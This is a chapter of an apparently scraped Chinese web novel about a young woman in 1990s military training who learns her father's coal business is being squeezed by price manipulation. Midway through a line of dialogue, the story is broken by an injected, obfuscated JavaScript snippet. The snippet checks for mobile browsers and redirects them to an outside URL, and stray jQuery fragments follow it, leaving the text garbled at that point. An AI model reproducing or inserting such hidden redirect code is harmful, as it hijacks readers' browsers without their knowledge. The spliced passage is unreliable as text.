34. 第 34 章

作品:《九零真千金试图咸鱼

    “各位好,接下去由我担任你们为期两周训练的教官,我姓李,大家可以叫我李教官。”教官说完威严地扫了一下整个方阵。


    “听清楚了吗?”


    “听……清……楚……了……”


    “没吃早饭吗?大声!”


    “听——清——楚——了!”


    “很好!”教官肃然收势,从立正稍息开始训练方阵。


    盛未夏忍不住回想李师傅在喻家老宅那篇空地上训练乌彪的样子,这让她有一种恍惚——练她们跟驯乌彪似的。


    九月的京市还有秋老虎的余威,半天下来又晒又热,让人苦不堪言。


    盛未夏出了很多汗,太阳晒得晃眼,她只是晃了晃身体,一个动作没跟上,被教官从方阵里叫下来:“晕倒的同志在旁边休息,学校提供冰镇糖水,自己取了喝。”


    盛未夏举手:“我没有晕倒,我只是……”


    “原地休息!”教官吹口哨发出一个命令的手势,转身继续训练剩下的小兵。


    方阵里,室友卢小音朝她看过来,被教练捕捉到动作:“出列!不专心的到旁边跑道上做10个俯卧撑!”


    卢小音悦当场脸就垮了,磨蹭着不肯动:“报告教官,我只是慢了一点。”


    “加量到20个!小步快跑,走!”


    卢小音咬着唇,委委屈屈跑到了跑道上开始做俯卧撑。


    “全体都有,向右转!原地站军姿三分钟!”发布完这个指令,教官收起脸上的冷肃,换了张笑脸朝盛未夏跑过来。


    她确认了,这是如假包换的李师傅。


    “盛小姐,真巧啊。”


    盛未夏:“……李师傅怎么会来当教官?”


    训练人,跟训练狗一样吗?


    李师傅搔搔头:“老战友说今年学生多,他们缺人手,我就想正好有空过来帮帮忙。”


    虽然不是聊天的好时候,好地方,盛未夏还是问道:“那你不用管乌彪了吗?”


    他想起来什么,表情不自然了一瞬:“没事儿,隔三差五去看看它就得了。阿九会遛它的!”


    李师傅看了一眼手上的表,“您要不舒服就晃一晃,我安排您休息。”


    听他这么说,盛未夏迟疑了一会儿。


    虽然不喜欢军训,但她不想因为搞特殊被注意到,刚才卢小音明显是想看她究竟是不是真的中暑,才被捉住小辫子。


    “不用,我身体素质一般,本来就需要锻炼,而且……别搞特殊,这对你不好。”


    李师傅沉吟了一会儿,嘿笑着喃喃道:“那行,我降低点强度,您要受不了了给我个眼神儿,行吗?”


    盛未夏想了想,说:“如果不麻烦的话,尽量给我们找个有树荫的地方吧。”


    她没有买到好用的防晒霜,晒黑倒是其次,晒伤了有点麻烦。


    “行,包我身上!”


    这一天下午,姑娘们发现,教官仿佛跟上午判若两人,大发慈悲地给她们选了片浓荫蔽日的风水宝地,连休息的频率都比旁边的其他连队要密一些。


    一天下来,所有人都散了架,盛未夏从食堂回宿舍先去水房冲了个澡,只想爬上床回魂。


    卢小音叫住她:“盛未夏,我们连队的教官是不是认识你?”


    她很少犯难,但此刻有些不知道该怎么答。


    说认识吧,怕人家举报李师傅,说不认识吧,这谎撒得有点没必要。


    想了想,她扭头说:“我要说,我认识他带大的狗,你们信吗?”


    卢小音:“噗嗤!”


    连认识至今,一直闷闷不乐的钱悦都笑得打鸣。


    更不用提孔礼真,笑得眼泪都出来了。


    “哈哈哈哈!真的吗?”


    盛未夏点点头:“是真的。我跟狗比较熟,李师……李教官只是打过几个照面。”


    严谨一点说,她跟乌彪比跟李师傅要熟得多了。


    卢小音脸一僵:“我看到他过去跟你说话了,还以为……”


    “那说来,我们该谢谢盛同学啊。”孔礼真笑着说,“估计是看在狗的面子上,教官后来给咱们换了不晒的地方,还让我们多休息了几次呢!”


    这份差别对待,所有人都察觉到了。


    盛未夏觉得有必要明天提醒李教官,这种优待不要做得太明显了。


    正聊着,她的BP机响了。


    盛未夏从枕头底下翻出来,看到蒋鹏涛给她呼了条信息进来:


    【房主手续已备齐,可以过户,哪天方便请假?我来接你。】


    她往前翻到盛勇给她发的消息,昨天卖的一笔赚了八千。


    随着本金越来越多,赚得利润也越来越稳定可观。


    但,还没达到她的目标。


    所以,过户不急,而且她得想办法找到新的试点城市。


    盛未夏瞌睡醒了,翻身下床,问道:“你们知道哪里有公用电话吗?”


    “我知道!出楼左转,有个杂货店,那儿有。”孔礼真拉着她到窗口,指给她看。


    蒋鹏涛留的家里电话,她一拨过去接起来的是蒋明智。


    “舅舅,我是小夏。”


    “哎哟,是我们小夏!你哥是不是跟你说了?你哪天时间合适跟学校请个假,我们尽快把过户办了,免得夜长梦多。”


    盛未夏:“舅舅,我们军训管理挺严格的,教官说了,辛苦就是磨练我们的意志,而且就两周时间,我觉得还是不要搞特殊请假的好。”


    她电话打来之前,蒋明智正说军训辛苦,能请假出来一天休息一下也好。


    当下被她这份觉悟给镇住,双方统一了口径等她军训结束。


    蒋明智对她愈发赞叹,也就对顾德胜夫妻俩愈发不满:“小夏,你来京市以后给家里打过电话吧?”


    “打过的。”


    “这段时间你爸生意有点麻烦,他们俩要是没联系过你,你最好还是有空打回去关心一下他们,啊?”


    盛未夏当即表示,马上打。


    挂掉电话后,她回忆了一番,实在想不起这段时间顾德胜遇到过什么麻烦,但还是拨了电话回去,毕竟,


    接电话的是顾德胜,不知是不是因为看到陌生的电话号码,口气很是防备:“你谁?”


    “是我。”


    听到她的声音,顾德胜一下子顿住,连着哦了两声。


    电话两头都陷入尴尬的沉默。


    听筒被蒋秀荷接过去:“小夏,你在学校还好吧?”


    “我挺好的,刚开始军训。”盛未夏想了想,还是问道,“舅舅说,爸好像工作不太顺利,问题大吗?”


    蒋秀荷那头滞了一会儿,才说:“你爸的煤现在卖不出去,资金有点紧张。”


    遥遥听见顾德胜嗤了一声:“你跟孩子说这


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14493242|154800||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    些干什么!”


    盛未夏眉心皱起。


    因为操作国库券异地买卖,她一直都大量地关注着新闻动态。


    国家最近释放了一大批利好工业的政策,市场只会加大对煤炭的需求,怎么会卖不出去呢?


    这时候价格应该上涨才对。


    蒋秀荷支支吾吾正要说什么,这时,电话那头出现一道陌生的声音:


    “顾老板,工人的钱再不发,我可没招了!你这房子太打眼,他们有心要找,我是一点儿办法都没有的!”


    “老板,你看我男人这额头,都是那些人不讲道理打的!这活儿不能干了,干不了!”


    ——这是赵婶的声音。


    说明她老公赵工头也来了。


    看来已经严重到发不出矿上工人的工资了。


    顾德胜扬声说:“你跟他们说,这只是暂时的,现在外面收60一吨,我卖一吨亏一吨,等价格上去就好了!”


    赵婶的丈夫说话带了气:“顾老板,不是我说,100一吨的时候你怕后面款子有问题不卖,后来80你不甘心,现在跌到肉里你不肯,可工人干一天就要一天的工钱,他们等不了!”


    顾德胜掷地有声:“青葳在帮忙想办法了,她英国有个同学家里做水泥生意的,马上就能谈妥问我要煤!”


    “最多再撑一个礼拜!顾老板你掂量着,我先走了!”


    阴差阳错间,盛未夏听明白了来龙去脉,但里其中吊诡的价格走势,让她得出了一个大胆的结论:


    有人在操纵锦中市场的煤炭收购价格。


    这种玩法不像在玩煤炭,而是在玩金融。


    蒋秀荷底气不足地说:“小夏,别担心,你爸能想出办法的,你自己好好照顾自己。”


    那边顾德胜又骂了句什么,蒋秀荷捂着听筒没让她听到。


    盛未夏经历的商战不多,但看过的案例多。


    她敏感地意识到,顾青葳在其中应该充当了某种角色。


    时间倒回十来天前。


    顾青葳拿着喻明达给的联系方式,带着初到英国融入不进的挫败,敲开了伦敦梅菲尔一栋高层公寓的大门。


    那人身穿三件套细格子精纺羊毛西装,剪裁合体,一身混合着雪茄香的古龙水味。


    “你是?”


    顾青葳仰头对上了对方细窄的充满着审视的双眼:“我是喻明达的朋友,顾青葳,他说我到了英国可以找你。”


    对方伸手过来跟她淡淡握了握:“钟语森。”


    钟语森语气轻缓地问清了顾青葳的来历,打量了许久后,突然笑出声:“明达的朋友,小姑娘,你知不知道他是什么样的人,就敢自称是他朋友?”


    顾青葳脸一红:“他这么教我说的,他还说我能帮你们。”


    钟语森挑眉:“那就帮忙打听一下令尊的成本价。”


    “为……为什么要我家的成本价?”


    这一点,其实顾德胜很少在家里提起。


    煤炭的价格在锦中很透明,但每一家的成本,差别很大。


    “这很复杂,一时说不清。”钟语森起身煮了杯咖啡给她,苦香的气味弥漫开来,“你就当他少有的发善心吧。总之,对你个人只有好处,没有坏处。”


    三天后——也就是盛未夏这通电话前一周,一份写着顾德胜成本68元每吨的传真,发到了喻明达的办公室桌上。